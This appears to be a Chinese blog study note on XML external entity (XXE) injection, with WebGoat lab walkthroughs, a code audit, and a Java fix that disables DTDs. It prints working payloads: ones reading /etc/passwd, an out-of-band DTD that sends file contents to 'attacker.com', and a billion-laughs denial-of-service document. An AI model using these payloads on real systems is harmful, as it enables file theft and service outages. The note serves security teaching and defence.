XXE

XXE

XML实体

XML实体(Entity)是XML中用来定义可重用内容的机制,当XML文档被解析时,这些实体引用会被替换为实际内容。实体主要有三种类型:

  1. 内部实体:在文档内部定义的实体(是否开启根元素的约束)(#PCDATA)
<!DOCTYPE example [
  <!ENTITY js "Jo Smith">
]>
<!-- 这部分就是DTD(XML文档的结构定义语言) -->

<user>&js;</user>
<!-- 如果没有约束,则只要在DTD中定义过,就可以在XML的任何地方使用 -->

---------------------------------------------------------------------
<!DOCTYPE example [
  <!ENTITY js "Jo Smith">
  <!ELEMENT example (#PCDATA)>  <!-- 定义根元素必须是 example -->
]>
<example>&js;</example>
  1. 外部实体:引用外部资源的实体
<!DOCTYPE example [
  <!ENTITY ext SYSTEM "http://example.com/file.txt">
]>
<data>&ext;</data>
  1. 参数实体:主要用于DTD内部的实体(以%开头)
<!DOCTYPE example [
  <!ENTITY % param "file:///etc/passwd">
  <!ENTITY ext SYSTEM "%param;">
]>

XXE注入

XXE攻击是一种针对XML处理应用程序的安全漏洞,当应用程序使用配置不当的XML解析器处理包含外部实体引用的输入时发生。

攻击类型:

  1. 经典XXE:
  • 直接读取本地文件
<!DOCTYPE test [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>
  1. 盲注XXE:
  • 没有直接输出,但可通过外带数据(OOB)技术获取信息
<!DOCTYPE test [
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
  %send;
]>
  • %dtd;

立即触发加载并解析远程 evil.dtd 文件。

  • %send;

evil.dtd 中定义了一个名为 send 的参数实体,用于执行恶意操作(如窃取数据)。

  • evil.dtd中的内容
<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % send "<!ENTITY exfiltrate SYSTEM 'http://attacker.com/steal?data=%payload;'>">
  1. 错误型XXE
  • 通过错误消息泄露信息
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % error "<!ENTITY content SYSTEM '%non-existent;/%file;'>">

SimpleXXE

靶场

1749362912613-d841af7e-8725-46d5-ba7e-774d1fae1d86.png

传入字段,要求列出文件系统的根目录

那就尝试一下

1749362972943-4f9e1adb-9f3d-45fa-9c35-a7e833298882.png

发现失败了,但是传回来一大串目录

原来是结构不对,再试一次

1749365009676-9192c2a8-8e94-471f-94cc-9cde1424d0a6.png

成功,另外这里也可以用file://协议

审计

1749363574710-c1ba7480-d240-4a2b-9b0d-84c6e819a00d.png

其中commentStr是用户提交的XML评论信息

  • 尝试解析用户提交的 XML 内容**(parseXml)**
  • 添加评论到系统**(addComment)**
  • 检查是否满足解决方案条件**(checkSolution)**
    • 检查评论内容中是否包含这些系统目录

parseXml和addComment函数的具体实现

1749364671263-482a929c-71b8-4c4f-b72a-d7473ae85a54.png

parseXml

  • **初始化 ****JAXB **上下文

var jc = JAXBContext.newInstance(Comment.class);

为 Comment 类创建 JAXB 上下文,用于** XML 与 Java 对象的转换**。

- **<font style="color:#DF2A3F;">newInstance</font>**:构建JAXB实例
- **<font style="color:#DF2A3F;">Marshaller</font>**:将Java对象序列化为XML数据。
- **<font style="color:#DF2A3F;">Unmarshaller</font>**:将XML数据反序列化为Java对象
  • 配置 XML 解析器****(安全部分)

var xif = XMLInputFactory.newInstance();

由securityEnabled参数判断是否开启禁用外部 DTD外部 XML Schema的功能

  • 解析 XML 并转换为对象

使用** XMLStreamReader **逐行解析 XML,再通过 JAXB 反序列化为 Comment 对象。

产生XXE注入的原因

var unmarshaller = jc.createUnmarshaller();  
return (Comment) unmarshaller.unmarshal(xsr);

这里创建了一个** unmarshaller,**并且将xml对象反序列化为了comment对象(java对象)

由于 unmarshaller在执行过程中解析了xml,导致xxe注入

unmarshaller在将xml对象反序列化为java对象的时候,会解析xml,如果xml中有可控传入就会导致xxe注入攻击

修复

package XXE;

import lombok.var;

import javax.xml.bind.JAXBContext;
import javax.xml.bind.JAXBException;
import javax.xml.stream.XMLInputFactory;
import javax.xml.stream.XMLStreamException;
import java.io.StringReader;

public class XXERepair {

    public void Repair() throws JAXBException, XMLStreamException {
        String xml = "<?xml version=\"1.0\"?>\n" +
                "<!DOCTYPE doc [ \n" +
                "<!ENTITY xxe SYSTEM \"file:///etc/passwd\">\n" +
                "]><comment><text>&xxe;</text></comment>";
        //定义了外部实体 xxe,尝试读取 /etc/passwd 文件。
        
        if (xml.contains("<!ENTITY") || xml.contains("SYSTEM")) {
            throw new IllegalArgumentException("Invalid XML content");
        }
        // 检测恶意 XML 内容
        
       
        var jc = JAXBContext.newInstance(Comment.class);
        var xif = XMLInputFactory.newInstance();
        //创建 JAXB 上下文和 XML 解析工厂
        
        
		xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
        // 禁用外部实体
        xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
        // 完全禁用 DTD
        
        var xsr = xif.createXMLStreamReader(new StringReader(xml));
        //使用安全配置的解析器处理 XML。
        // 将xml对象反序列化为java对象
        var unmarshaller = jc.createUnmarshaller();
        unmarshaller.unmarshal(xsr);

    }


    public static void main(String[] args) throws JAXBException, XMLStreamException {

        XXERepair test = new XXERepair();
        test.Repair();
    }
}

ContentTypeAssignment

靶场

1749367364380-c4666ea5-c3d4-45fd-9c66-a26d79954c1d.png

上传一个正常的发现是有提示的

“You are posting JSON which does not work with a XXE”,

那就改一下Content-Type头,改成 application/xml

1749367483554-60c3309a-e066-482a-84f0-905d274e6570.png

成功

审计

1749367565078-3e82c9b9-747d-4913-976e-4eb43defc30f.png

和上一题的变化就是这里从请求包里读取了Content-Type

如果是json类型直接返回错误结果,如果是xml再继续执行

XXE DOS

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

** “十亿笑声攻击”**

定义了一个基础实体 &lol; 值为 “lol”

然后通过 指数级嵌套引用 (&lol1; → &lol9;) 逐层放大

&lol9展开后大概有 **3GB的内存 **

消耗服务器内存和CPU资源,导致 拒绝服务(DoS

BlindSendFileAssignment

构造evil.dtd包

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY secret SYSTEM 'file://用 WebGoat 给的路径替换进来'>

抓包后构造

<?xml version="1.0"?>
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://localhost:9090/files/(用户名)/evil.dtd">
%remote;
]>
<comment>  <text> &secret;</text></comment>

相当于间接触发

源码部分差不多就是没有回显

更新: 2025-08-04 11:48:11
原文: https://www.yuque.com/cindahy/aqfzwf/wzhcle46s9qtyx35

LICENSED UNDER CC BY-NC-SA 4.0
评论